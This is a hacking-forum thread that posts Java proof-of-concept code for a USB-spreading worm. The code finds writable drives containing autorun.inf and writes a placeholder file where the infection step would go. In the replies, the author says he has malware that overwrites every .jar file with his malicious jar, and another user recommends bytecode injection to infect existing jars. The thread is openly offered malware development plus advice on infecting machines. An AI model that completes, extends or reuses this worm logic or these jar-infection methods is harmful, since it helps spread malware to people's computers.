Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Java 

USB Spreading - Worm

Whipped this together today:


Code
//USB SPREADING
//POC BY CASPER
//
//Not the best way to find USBs but works generally
//
// Oct. 08th 2013


import java.io.*;
public class worm {

    public static void main(String[] args){
        File[] roots = File.listRoots();

        if (roots == null) {
            // you have a different problem here.  Is it even a computer we are talking about?
        }

        // Iterate through roots
        for (File root : roots) {
            if (root.canWrite()) {
                //System.out.println(root.getAbsolutePath());
                for(int file = 0; file < root.listFiles().length; file++){
                    //System.out.println(root.listFiles()[file].getPath());
                    if(root.listFiles()[file].getAbsolutePath().substring(root.listFiles()[file].getAbsolutePath().lastIndexOf("\\")+1).equals("autorun.inf")){
                        String fname = root.getAbsolutePath() + "test.txt";
                        
                        try{
                            //Execute the spreading now that you have where the USB is
                            //This is an example for show
                            FileWriter outfile = new FileWriter(fname);

                            outfile.write("hi");
                            outfile.close();
                        }catch(IOException e){
                            System.out.println("IO Issue");
                            return;

                        }
                    }
                }

            }
        }
    }

}


http://pastebin.com/3dVZ5aGg


Not "complete" but if you know what you're doing its good enough!
Thanks for this mate!

If you know what your doing it work's perfectly :D

Cheers!
~Vource 🤝
BTC - 16LkP8M9fspzm8kPfRPvvpMaCf1SMENMxA
Help me earn a couple extra cents! http://vource.bestgalleries.me Click the Ads. Thank's! <3
Yes it might copy it on but what do you want past that? You can't auto run anymore so USB spreading is kind of dead.
(Oct 8, 2013 05:41 PM)Debroski Wrote:  Yes it might copy it on but what do you want past that? You can't auto run anymore so USB spreading is kind of dead.

I've already made something that replaces all .jar files with the my malicious .jar :D this was just a snippit of a huge project i've been working on. You can check some of my threads for other snippets of java based malware and Proof of concept designs.
(Oct 8, 2013 06:12 PM)Ϲasp3r Wrote:  I've already made something that replaces all .jar files with the my malicious .jar :D this was just a snippit of a huge project i've been working on. You can check some of my threads for other snippets of java based malware and Proof of concept designs.

Why wouldn't you just use byte code injection to infect the current jars. Would be much simpler/effective in the end.
You should probably know that few people have actual jar-files on their computer that they regularly use. Java is mainly installed for browsers (this may have changed a little with minecraft^^ but i would not recommend using Minecraft as the only chance to infect a computer)
(Oct 8, 2013 11:13 PM)Not2EXceL Wrote:  Why wouldn't you just use byte code injection to infect the current jars. Would be much simpler/effective in the end.

technically the method i use overwrites the bytecode of the jars with my bytecode.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by Zilog80Feb 16, 2017 11:56 AM 12 733 Feb 16, 2017 11:56 AM
Last Post: Zilog80
[.NET] by danielpherlioMay 28, 2016 02:17 AM 3 549 May 28, 2016 02:17 AM
Last Post: Decim
[.NET] by jeiceeiDec 22, 2013 02:25 PM 2 341 Dec 22, 2013 02:25 PM
Last Post: jeiceei